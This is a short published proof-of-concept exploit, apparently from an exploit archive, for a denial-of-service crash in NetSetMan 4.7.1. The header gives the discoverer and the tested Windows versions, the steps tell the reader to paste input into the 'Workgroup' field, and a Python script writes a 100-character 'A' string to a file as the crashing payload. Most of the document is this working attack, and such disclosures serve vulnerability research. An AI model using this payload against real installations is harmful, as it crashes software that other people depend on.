NetSetMan 4.7.1 - 'Workgroup' Denial of Service (PoC)

#Exploit Title: NetSetMan 4.7.1 'Workgroup' - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2018-02-17
#Vendor Homepage: https://www.netsetman.com/
#Software Link: https://www.netsetman.com/netsetman.exe
#Tested Version: 4.7.1
#Tested on: Windows 10 Single Language x64 / Windows 7 x32 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: NetSetMan_4.7.1.py
#2.- Open netsetman.txt and copy content to clipboard
#3.- Open NetSetMan
#4.- Enable "Workgroup" and Paste Clipboard
#5.- Click on "Activate"
#6.- Crashed

cod = "\x41" * 100

f = open('netsetman.txt', 'w')
f.write(cod)
f.close()